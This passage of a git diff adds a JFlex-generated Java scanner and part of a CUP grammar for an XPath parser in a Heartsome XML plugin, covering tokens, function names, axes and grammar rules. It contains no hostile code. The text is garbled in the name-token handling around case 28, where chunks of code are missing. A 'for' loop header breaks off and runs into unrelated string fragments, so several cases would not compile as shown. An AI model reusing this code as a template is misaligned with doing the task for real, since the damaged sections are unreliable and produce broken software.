EOF */ + private boolean zzAtEOF; + + /** denotes if the user-EOF-code has already been executed */ + private boolean zzEOFDone; + + /* user code: */ + + private Symbol sym(int sym) { + return new Symbol(sym); + } + + private Symbol sym(int sym, Object val) { + return new Symbol(sym, val); + } + + int isName; + NameType name; + FuncName fname; + Ntest ntest; + AxisType at; + int len; + String literal; + Double number; + int colonPosition; + + public int getOffset(){ + return yychar; + } + + public String getArgument(char c, String input){ + int os1=input.indexOf(c), os2=input.lastIndexOf(c); + + return input.substring(os1+1, os2); + } + + /* public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseException("XPath Syntax error: "+cur_token); + }*/ + + + + /** + * Creates a new scanner + * There is also a java.io.InputStream version of this constructor. + * + * @param in the java.io.Reader to read input from. + */ + Yylex(java.io.Reader in) { + isName = 1; + colonPosition = -1; + this.zzReader = in; + } + + /** + * Creates a new scanner. + * There is also java.io.Reader version of this constructor. + * + * @param in the java.io.Inputstream to read input from. + */ + Yylex(java.io.InputStream in) { + this(new java.io.InputStreamReader(in)); + } + + /** + * Unpacks the compressed character translation table. + * + * @param packed the packed character translation table + * @return the unpacked character translation table + */ + private static char [] zzUnpackCMap(String packed) { + char [] map = new char[0x10000]; + int i = 0; /* index in packed string */ + int j = 0; /* index in unpacked array */ + while (i < 138) { + int count = packed.charAt(i++); + char value = packed.charAt(i++); + do map[j++] = value; while (--count > 0); + } + return map; + } + + + /** + * Refills the input buffer. + * + * @return false, iff there was new input. + * + * @exception java.io.IOException if any I/O-Error occurs + */ + private boolean zzRefill() throws java.io.IOException { + + /* first: make room (if you can) */ + if (zzStartRead > 0) { + System.arraycopy(zzBuffer, zzStartRead, + zzBuffer, 0, + zzEndRead-zzStartRead); + + /* translate stored positions */ + zzEndRead-= zzStartRead; + zzCurrentPos-= zzStartRead; + zzMarkedPos-= zzStartRead; + zzStartRead = 0; + } + + /* is the buffer big enough? */ + if (zzCurrentPos >= zzBuffer.length) { + /* if not: blow it up */ + char newBuffer[] = new char[zzCurrentPos*2]; + System.arraycopy(zzBuffer, 0, newBuffer, 0, zzBuffer.length); + zzBuffer = newBuffer; + } + + /* finally: fill the buffer with new input */ + int numRead = zzReader.read(zzBuffer, zzEndRead, + zzBuffer.length-zzEndRead); + + if (numRead > 0) { + zzEndRead+= numRead; + return false; + } + // unlikely but not impossible: read 0 characters, but not at end of stream + if (numRead == 0) { + int c = zzReader.read(); + if (c == -1) { + return true; + } else { + zzBuffer[zzEndRead++] = (char) c; + return false; + } + } + + // numRead < 0 + return true; + } + + + /** + * Closes the input stream. + */ + public final void yyclose() throws java.io.IOException { + zzAtEOF = true; /* indicate end of file */ + zzEndRead = zzStartRead; /* invalidate buffer */ + + if (zzReader != null) + zzReader.close(); + } + + + /** + * Resets the scanner to read from a new input stream. + * Does not close the old reader. + * + * All internal variables are reset, the old input stream + * cannot be reused (internal buffer is discarded and lost). + * Lexical state is set to ZZ_INITIAL. + * + * @param reader the new input stream + */ + public final void yyreset(java.io.Reader reader) { + zzReader = reader; + zzAtBOL = true; + zzAtEOF = false; + zzEOFDone = false; + zzEndRead = zzStartRead = 0; + zzCurrentPos = zzMarkedPos = 0; + yyline = yychar = yycolumn = 0; + zzLexicalState = YYINITIAL; + } + + + /** + * Returns the current lexical state. + */ + public final int yystate() { + return zzLexicalState; + } + + + /** + * Enters a new lexical state + * + * @param newState the new lexical state + */ + public final void yybegin(int newState) { + zzLexicalState = newState; + } + + + /** + * Returns the text matched by the current regular expression. + */ + public final String yytext() { + return new String( zzBuffer, zzStartRead, zzMarkedPos-zzStartRead ); + } + + + /** + * Returns the character at position pos from the + * matched text. + * + * It is equivalent to yytext().charAt(pos), but faster + * + * @param pos the position of the character to fetch. + * A value from 0 to yylength()-1. + * + * @return the character at position pos + */ + public final char yycharat(int pos) { + return zzBuffer[zzStartRead+pos]; + } + + + /** + * Returns the length of the matched text region. + */ + public final int yylength() { + return zzMarkedPos-zzStartRead; + } + + + /** + * Reports an error that occured while scanning. + * + * In a wellformed scanner (no or only correct usage of + * yypushback(int) and a match-all fallback rule) this method + * will only be called with things that "Can't Possibly Happen". + * If this method is called, something is seriously wrong + * (e.g. a JFlex bug producing a faulty scanner etc.). + * + * Usual syntax/scanner level error handling should be done + * in error fallback rules. + * + * @param errorCode the code of the errormessage to display + */ + private void zzScanError(int errorCode) { + String message; + try { + message = ZZ_ERROR_MSG[errorCode]; + } + catch (ArrayIndexOutOfBoundsException e) { + message = ZZ_ERROR_MSG[ZZ_UNKNOWN_ERROR]; + } + + throw new Error(message); + } + + + /** + * Pushes the specified amount of characters back into the input stream. + * + * They will be read again by then next call of the scanning method + * + * @param number the number of characters to be read again. + * This number must not be greater than yylength()! + */ + public void yypushback(int number) { + if ( number > yylength() ) + zzScanError(ZZ_PUSHBACK_2BIG); + + zzMarkedPos -= number; + } + + + /** + * Contains user EOF-code, which will be executed exactly once, + * when the end of file is reached + */ + private void zzDoEOF() throws java.io.IOException { + if (!zzEOFDone) { + zzEOFDone = true; + yyclose(); + } + } + + + /** + * Resumes scanning until the next regular expression is matched, + * the end of input is encountered or an I/O-Error occurs. + * + * @return the next token + * @exception java.io.IOException if any I/O-Error occurs + */ + public java_cup.runtime.Symbol next_token() throws java.io.IOException, XPathParseException { + int zzInput; + int zzAction; + + // cached fields: + int zzCurrentPosL; + int zzMarkedPosL; + int zzEndReadL = zzEndRead; + char [] zzBufferL = zzBuffer; + char [] zzCMapL = ZZ_CMAP; + + int [] zzTransL = ZZ_TRANS; + int [] zzRowMapL = ZZ_ROWMAP; + int [] zzAttrL = ZZ_ATTRIBUTE; + + while (true) { + zzMarkedPosL = zzMarkedPos; + + yychar+= zzMarkedPosL-zzStartRead; + + zzAction = -1; + + zzCurrentPosL = zzCurrentPos = zzStartRead = zzMarkedPosL; + + zzState = ZZ_LEXSTATE[zzLexicalState]; + + + zzForAction: { + while (true) { + + if (zzCurrentPosL < zzEndReadL) + zzInput = zzBufferL[zzCurrentPosL++]; + else if (zzAtEOF) { + zzInput = YYEOF; + break zzForAction; + } + else { + // store back cached positions + zzCurrentPos = zzCurrentPosL; + zzMarkedPos = zzMarkedPosL; + boolean eof = zzRefill(); + // get translated positions and possibly new buffer + zzCurrentPosL = zzCurrentPos; + zzMarkedPosL = zzMarkedPos; + zzBufferL = zzBuffer; + zzEndReadL = zzEndRead; + if (eof) { + zzInput = YYEOF; + break zzForAction; + } + else { + zzInput = zzBufferL[zzCurrentPosL++]; + } + } + int zzNext = zzTransL[ zzRowMapL[zzState] + zzCMapL[zzInput] ]; + if (zzNext == -1) break zzForAction; + zzState = zzNext; + + int zzAttributes = zzAttrL[zzState]; + if ( (zzAttributes & 1) == 1 ) { + zzAction = zzState; + zzMarkedPosL = zzCurrentPosL; + if ( (zzAttributes & 8) == 8 ) break zzForAction; + } + + } + } + + // store back cached position + zzMarkedPos = zzMarkedPosL; + + switch (zzAction < 0 ? zzAction : ZZ_ACTION[zzAction]) { + case 57: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONTAINS; + fname = new FuncName(); + fname.i = FuncName.CONTAINS; + return sym(FNAME,fname); + } + case 93: break; + case 74: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING_LENGTH; + fname = new FuncName(); + fname.i = FuncName.STRING_LENGTH; + return sym(FNAME,fname); + } + case 94: break; + case 55: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.POSITION; + fname = new FuncName(); + fname.i = FuncName.POSITION; + return sym(FNAME,fname); + } + case 95: break; + case 26: + { if (isName == 0) { + isName = 1 ; + return sym(OR); + } else { + isName = 0; + name = new NameType(); + name.qname = "or"; + return sym(NAME,name); + } + } + case 96: break; + case 24: + { isName = 1 ; return sym(NE); + } + case 97: break; + case 31: + { if (isName == 0) { + isName = 1 ; + return sym(AND); + } else { + isName = 0; + name = new NameType(); + name.qname = "add"; + return sym(NAME,name); + } + } + case 98: break; + case 12: + { isName = 1 ; /*System.out.println( "[ returned");*/ return sym(LB); + } + case 99: break; + case 85: + { isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT_OR_SELF; + return sym(AXISNAME,at); + } + case 100: break; + case 62: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.IRI_TO_URI; + fname = new FuncName(); + fname.i = FuncName.IRI_TO_URI; + return sym(FNAME,fname); + } + case 101: break; + case 11: + { isName = 0 ; return sym(RP); + } + case 102: break; + case 37: + { isName = 1; + yypushback(1); + fname = new FuncName(); + fname.i = FuncName.LAST; + return sym(FNAME,fname); + } + case 103: break; + case 18: + { if (isName ==0){ + isName = 1; + //System.out.println("returned a MULT"); + return sym(MULT); + } + else { + isName = 0; + name = new NameType(); + name.qname = "*"; + return sym(NAME,name); + } + } + case 104: break; + case 89: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + return sym(FNAME,fname); + } + case 105: break; + case 71: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STARTS_WITH; + fname = new FuncName(); + fname.i = FuncName.STARTS_WITH; + return sym(FNAME,fname); + } + case 106: break; + case 8: + { isName = 1 ; return sym(AT); + } + case 107: break; + case 88: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = null; + //System.out.println(" !!!!!!!!!!!argument "); + return sym(NTEST,ntest); + } + case 108: break; + case 6: + { isName = 0 ; /*System.out.println(". returned ");*/ return sym(DOT); + } + case 109: break; + case 28: + { isName = 0; + len = yytext().length(); + name = new NameType(); + if (!XMLChar.isNCNameStartChar(yytext().charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i" + yytext()); + //if (yytext().charAt(0) =='-'){ + // throw new XPathParseException("Invalid char in name token:"+yytext()); + //} + + name.qname = new String(yytext()); + if (!XMLChar.isNCNameStartChar(name.qname.charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i "+ Double.parseDouble(yytext())); + return sym(NUMBER,number); + } + case 127: break; + case 45: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.FLOOR; + fname = new FuncName(); + fname.i = FuncName.FLOOR; + return sym(FNAME,fname); + } + case 128: break; + case 34: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUM; + fname = new FuncName(); + fname.i = FuncName.SUM; + return sym(FNAME,fname); + } + case 129: break; + case 30: + { if (isName == 0) { + isName = 1 ; + return sym(MOD); + } else { + isName = 0; + name = new NameType(); + name.qname = "mod"; + //System.out.println("returned a NAME "+yytext()); + return sym(NAME,name); + } + } + case 130: break; + case 29: + { if (isName == 0 ) { + isName = 1 ; + return sym(DIV); + } else { + isName = 0; + name = new NameType(); + name.qname = "div"; + return sym(NAME,name); + } + } + case 131: break; + case 27: + { isName = 0; + len = yytext().length(); + literal = yytext().substring(1, len-1); + return sym(LITERAL,literal); + } + case 132: break; + case 19: + { isName = 1 ; + //System.out.println("SLASH returned "); + return sym(SLASH); + } + case 133: break; + case 32: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ABS; + fname = new FuncName(); + fname.i = FuncName.ABS; + return sym(FNAME,fname); + } + case 134: break; + case 15: + { isName = 1 ; return sym(LT); + } + case 135: break; + case 90: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + return sym(FNAME,fname); + } + case 136: break; + case 25: + { isName = 1 ; + //System.out.println("DSLASH returned "); + return sym(DSLASH); + } + case 137: break; + case 13: + { isName = 0 ; return sym(RB); + } + case 138: break; + case 77: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_AFTER; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_AFTER; + return sym(FNAME,fname); + } + case 139: break; + case 38: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRUE; + fname = new FuncName(); + fname.i = FuncName.TRUE; + return sym(FNAME,fname); + } + case 140: break; + case 53: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CEILING; + fname = new FuncName(); + fname.i = FuncName.CEILING; + return sym(FNAME,fname); + } + case 141: break; + case 17: + { isName = 1; return sym(DOLLAR); + } + case 142: break; + case 61: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENDS_WITH; + fname = new FuncName(); + fname.i = FuncName.ENDS_WITH; + return sym(FNAME,fname); + } + case 143: break; + case 86: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + return sym(FNAME,fname); + } + case 144: break; + case 21: + { isName = 0 ; return sym(DDOT); + } + case 145: break; + case 83: + { isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING_SIBLING; + return sym(AXISNAME,at); + } + case 146: break; + case 72: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI; + return sym(FNAME,fname); + } + case 147: break; + case 10: + { isName = 1 ; return sym(LP); + } + case 148: break; + case 7: + { isName = 1 ; return sym(ADD); + } + case 149: break; + case 60: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRANSLATE; + fname = new FuncName(); + fname.i = FuncName.TRANSLATE; + return sym(FNAME,fname); + } + case 150: break; + case 82: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_EVEN; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_EVEN; + return sym(FNAME,fname); + } + case 151: break; + case 43: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COUNT; + fname = new FuncName(); + fname.i = FuncName.COUNT; + return sym(FNAME,fname); + } + case 152: break; + case 67: + { isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING; + return sym(AXISNAME,at); + } + case 153: break; + case 52: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COMPARE; + fname = new FuncName(); + fname.i = FuncName.COMPARE; + return sym(FNAME,fname); + } + case 154: break; + case 9: + { isName = 1 ; return sym(COMMA); + } + case 155: break; + case 49: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONCAT; + fname = new FuncName(); + fname.i = FuncName.CONCAT; + return sym(FNAME,fname); + } + case 156: break; + case 58: + { isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR; + return sym(AXISNAME,at); + } + case 157: break; + case 50: + { isName = 1; + at = new AxisType(); + at.i = AxisType.CHILD; + return sym(AXISNAME,at); + } + case 158: break; + case 46: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.QNAME; + fname = new FuncName(); + fname.i = FuncName.QNAME; + return sym(FNAME,fname); + } + case 159: break; + case 20: + { isName = 1 ; return sym(UNION) ; + } + case 160: break; + case 84: + { isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING_SIBLING; + return sym(AXISNAME,at); + } + case 161: break; + case 5: + { isName = 1 ; return sym(SUB); + } + case 162: break; + case 33: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NOT; + fname = new FuncName(); + fname.i = FuncName.NOT; + return sym(FNAME,fname); + } + case 163: break; + case 47: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NUMBER; + fname = new FuncName(); + fname.i = FuncName.NUMBER; + return sym(FNAME,fname); + } + case 164: break; + case 68: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.UPPER_CASE; + fname = new FuncName(); + fname.i = FuncName.UPPER_CASE; + return sym(FNAME,fname); + } + case 165: break; + case 42: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.TEXT; + ntest.arg = null; + return sym(NTEST,ntest); + } + case 166: break; + case 69: + { isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING; + return sym(AXISNAME,at); + } + case 167: break; + case 91: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('"',yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + case 168: break; + case 81: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_ODD; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_ODD; + return sym(FNAME,fname); + } + case 169: break; + case 22: + { isName = 1 ; return sym(GE); + } + case 170: break; + case 51: + { isName = 1; + at = new AxisType(); + at.i = AxisType.PARENT; + return sym(AXISNAME,at); + } + case 171: break; + case 87: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CODE_POINTS_TO_STRING; + fname = new FuncName(); + fname.i = FuncName.CODE_POINTS_TO_STRING; + return sym(FNAME,fname); + } + case 172: break; + case 73: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.RESOLVE_QNAME; + fname = new FuncName(); + fname.i = FuncName.RESOLVE_QNAME; + return sym(FNAME,fname); + } + case 173: break; + case 80: + { isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR_OR_SELF; + return sym(AXISNAME,at); + } + case 174: break; + case 2: + { /* eat white space */ + } + case 175: break; + case 64: + { isName =1; + at = new AxisType(); + at.i = AxisType.NAMESPACE; + return sym(AXISNAME,at); + } + case 176: break; + case 76: + { isName =1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NORMALIZE_SPACE; + fname = new FuncName(); + fname.i = FuncName.NORMALIZE_SPACE; + return sym(FNAME,fname); + } + case 177: break; + case 40: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND; + fname = new FuncName(); + fname.i = FuncName.ROUND; + return sym(FNAME,fname); + } + case 178: break; + case 41: + { isName = 1; + at = new AxisType(); + at.i = AxisType.SELF; + //System.out.println("SELF:: returned"); + return sym(AXISNAME,at); + } + case 179: break; + case 92: + { isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('\'', yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + case 180: break; + case 59: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING; + return sym(FNAME,fname); + } + case 181: break; + case 70: + { isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT; + return sym(AXISNAME,at); + } + case 182: break; + case 78: + { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ESCAPE_HTML_URI; + fname = new FuncName(); + fname.i = FuncName.ESCAPE_HTML_URI; + return sym(FNAME,fname); + } + case 183: break; + case 23: + { isName = 1 ; return sym(LE); + } + case 184: break; + default: + if (zzInput == YYEOF && zzStartRead == zzCurrentPos) { + zzAtEOF = true; + zzDoEOF(); + { return new java_cup.runtime.Symbol(sym.EOF); } + } + else { + zzScanError(ZZ_NO_MATCH); + } + } + } + } + + /** + * Converts an int token code into the name of the + * token by reflection on the cup symbol class/interface sym + * + * This code was contributed by Karl Meissner + */ + private String getTokenName(int token) { + try { + java.lang.reflect.Field [] classFields = sym.class.getFields(); + for (int i = 0; i < classFields.length; i++) { + if (classFields[i].getInt(null) == token) { + return classFields[i].getName(); + } + } + } catch (Exception e) { + e.printStackTrace(System.err); + } + + return "UNKNOWN TOKEN"; + } + + /** + * Same as next_token but also prints the token to standard out + * for debugging. + * + * This code was contributed by Karl Meissner + */ + public java_cup.runtime.Symbol debug_next_token() throws java.io.IOException, XPathParseException { + java_cup.runtime.Symbol s = next_token(); + System.out.println( " --"+ yytext() + "--" + getTokenName(s.sym) + "--"); + return s; + } + + /** + * Runs the scanner on input files. + * + * This main method is the debugging routine for the scanner. + * It prints debugging information about each returned token to + * System.out until the end of file is reached, or an error occured. + * + * @param argv the command line, contains the filenames to run + * the scanner on. + */ + public static void main(String argv[]) { + if (argv.length == 0) { + System.out.println("Usage : java Yylex "); + } + else { + for (int i = 0; i < argv.length; i++) { + Yylex scanner = null; + try { + scanner = new Yylex( new java.io.FileReader(argv[i]) ); + while ( !scanner.zzAtEOF ) scanner.debug_next_token(); + } + catch (java.io.FileNotFoundException e) { + System.out.println("File not found : \""+argv[i]+"\""); + } + catch (java.io.IOException e) { + System.out.println("IO error scanning file \""+argv[i]+"\""); + System.out.println(e); + } + catch (Exception e) { + System.out.println("Unexpected exception:"); + e.printStackTrace(); + } + } + } + } + + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/parser.cup b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/parser.cup new file mode 100644 index 0000000..29b5b00 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/parser.cup @@ -0,0 +1,443 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.xpath; +import java_cup.runtime.*; +import com.ximpleware.*; +import com.ximpleware.xpath.*; +import java.util.*; +parser code {: + public Hashtable nsHash; + public Hashtable symbolHash; + Step tempStep; + NodeTest tempNt; + LocationPathExpr tempLPExpr; + //ExprList tmpEL1, tmpEL2; + + public parser (java.io.Reader input) { + super(new Yylex(input)); + nsHash = null; + } + + public parser (java.io.InputStream input) { + super(new Yylex(input)); + } + + public static void main(String args[]){ + try { + parser p = new parser(System.in); + Object result = p.parse().value; + //System.out.println(((Expr)result).evalNumber(null)); + //System.out.println(((Expr)result)); + } + catch (Exception e) { + System.out.println("caught: "+e); + } + } + + public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + Yylex scanner = (Yylex)getScanner(); + throw new XPathParseException("XPath Syntax error: "+cur_token, scanner.getOffset()); + } + :}; + +terminal ADD, SUB, DOT, DDOT, AT, COMMA, LP, RP, LB, RB, GT, LT, GE, LE, EQ, NE; +terminal MULT, SLASH, DSLASH, DIV, MOD, AND, OR, UNION, UMINUS, DOLLAR; +terminal Double NUMBER; +terminal String LITERAL; + +terminal FuncName FNAME; +terminal Ntest NTEST; +terminal NameType NAME; +terminal AxisType AXISNAME; + + +non terminal FuncExpr FunctionCall; +non terminal FuncName FunctionName; +non terminal Expr Expr, OrExpr, EqualityExpr, AndExpr, RelationalExpr, AdditiveExpr; +non terminal Expr MultiplicativeExpr, UnaryExpr, PathExpr, FilterExpr, VariableReference; +non terminal UnionExpr UnionExpr; +non terminal Alist ArgumentList; +non terminal Expr PrimaryExpr, Argument; +non terminal LocationPathExpr LocationPath ; +non terminal AxisType AxisSpecifier, AbbreviatedAxisSpecifier; +non terminal NodeTest nodetest ; +non terminal Step Step, AbbreviatedStep, RelativeLocationPath, AbsoluteLocationPath; +non terminal Step AbbreviatedAbsoluteLocationPath, AbbreviatedRelativeLocationPath; +non terminal Predicate Predicate,PredicateList; + +precedence left OR; +precedence left AND; +precedence left EQ, NE; +precedence left GE, LE, GT, LT; +precedence nonassoc UMINUS; + +Expr ::= OrExpr:o + {: RESULT = o; :} + ; + +OrExpr ::= AndExpr:a + {: RESULT = a; :} + | OrExpr:o OR AndExpr:a + {: RESULT = new BinaryExpr(o,BinaryExpr.OR,a);:} + ; +AndExpr ::= EqualityExpr: ee + {: RESULT = ee; :} + | AndExpr:a AND EqualityExpr:ee + {: RESULT = new BinaryExpr(a, BinaryExpr.AND, ee); :} + ; + +EqualityExpr ::= RelationalExpr:re + {: RESULT = re; :} + | EqualityExpr:ee EQ RelationalExpr:re + {: RESULT = new BinaryExpr(ee, BinaryExpr.EQ, re); + //ee is a function expression such as name() or local-name() + // + :} + | EqualityExpr:ee NE RelationalExpr:re + {: RESULT = new BinaryExpr(ee, BinaryExpr.NE, re); + //ee is a function expression such as name() or local-name() + + :} + ; + +RelationalExpr ::= AdditiveExpr:ae + {: RESULT = ae; :} + | RelationalExpr:re LT AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.LT, ae); :} + | RelationalExpr:re GT AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.GT, ae); :} + | RelationalExpr:re LE AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.LE, ae); :} + | RelationalExpr:re GE AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.GE, ae); :} + ; + +AdditiveExpr ::= MultiplicativeExpr:me + {: RESULT = me; :} + | AdditiveExpr:ae ADD MultiplicativeExpr:me + {: RESULT = new BinaryExpr(ae, BinaryExpr.ADD, me); :} + | AdditiveExpr:ae SUB MultiplicativeExpr:me + {: RESULT = new BinaryExpr(ae, BinaryExpr.SUB, me); :} + ; + +MultiplicativeExpr ::= UnaryExpr:ue + {: RESULT = ue; :} + | MultiplicativeExpr:me MULT UnaryExpr:ue + {: RESULT = new BinaryExpr(me, BinaryExpr.MULT, ue); :} + | MultiplicativeExpr:me DIV UnaryExpr:ue + {: RESULT = new BinaryExpr(me, BinaryExpr.DIV, ue); :} + | MultiplicativeExpr:me MOD UnaryExpr:ue + {: RESULT = new BinaryExpr(me, BinaryExpr.MOD, ue); :} + ; + +UnaryExpr ::= UnionExpr:ue + {: if (ue.next==null) + RESULT = ue.e; + else + RESULT = ue; + :} + | SUB UnaryExpr:ue + {: RESULT = new UnaryExpr( BinaryExpr.SUB, ue); :} + %prec UMINUS + ; + + +UnionExpr ::= PathExpr:pe + {: RESULT = new UnionExpr(pe); + :} + | PathExpr:pe UNION UnionExpr:une + {: + RESULT = new UnionExpr(pe); + RESULT.next = une; + :} + ; + +PathExpr ::= LocationPath:lp + {: RESULT = lp; :} + | FilterExpr:fe + {: RESULT = fe; :} + | FilterExpr:fe SLASH RelativeLocationPath:rlp + {: parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(rlp); + RESULT = new PathExpr(fe, parser.tempLPExpr); + :} + | FilterExpr:fe DSLASH RelativeLocationPath:rlp + {: parser.tempStep = new Step(); + + parser.tempStep.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep.setNodeTest(parser.tempNt); + + parser.tempStep.setNextStep(rlp); + rlp.setPrevStep(parser.tempStep); + + /*parser.tempStep2 = new Step(); + parser.tempNt = new NodeTest(); + parser.tempStep2.setAxisType(AxisType.SELF); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep2.setNodeTest(parser.tempNt); + + parser.tempStep2.setNextStep(parser.tempStep); + parser.tempStep.setPrevStep(parser.tempStep2);*/ + + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(parser.tempStep); + RESULT = new PathExpr(fe, parser.tempLPExpr); + :} + ; + +FilterExpr ::= PrimaryExpr:pe + {: RESULT = pe; :} + | FilterExpr:fe Predicate:p + {: RESULT = new FilterExpr(fe, p);:} + ; + +PrimaryExpr ::= VariableReference:ve + {: RESULT = ve; :} + | LP Expr:e RP + {: RESULT = e; :} + | LITERAL:le + {: RESULT = new LiteralExpr(le); :} + | NUMBER:ne + {: RESULT = new NumExpr(ne.doubleValue()); :} + | FunctionCall:fc + {: RESULT = fc; :} + ; + +FunctionCall ::= FunctionName:fn LP ArgumentList:al RP + {: //RESULT = new FuncExpr(fn.i, al); + FuncExpr tfe = new FuncExpr(fn.i, al); + if (!tfe.checkArgumentCount()) + throw new XPathParseException(" argument input for function "+tfe.fname()+" incorrect"); + RESULT = tfe; + :} + ; + +ArgumentList ::= + {: RESULT = null; :} + | Argument:a + {: RESULT = new Alist(); + RESULT.e = a; :} + | Argument:a COMMA ArgumentList:al + {: RESULT = new Alist(); + RESULT.e = a; + RESULT.next = al; + :} + ; + +Argument ::= Expr:e + {: RESULT = e; :} + ; + + +LocationPath ::= RelativeLocationPath:rlp + {: RESULT = new LocationPathExpr(); + RESULT.setStep(rlp); + RESULT.optimize(); + :} + | AbsoluteLocationPath:alp + {: RESULT = new LocationPathExpr(); + RESULT.setPathType(LocationPathExpr.ABSOLUTE_PATH); + //System.out.println(" absolute "); + RESULT.setStep(alp); + RESULT.optimize(); + //startStep = currentStep=null; + :} + ; + +AbsoluteLocationPath ::= SLASH + {: RESULT = null; :} + | SLASH RelativeLocationPath:rlp + {: RESULT = rlp; :} + | AbbreviatedAbsoluteLocationPath:aalp + {: RESULT = aalp; :} + ; + 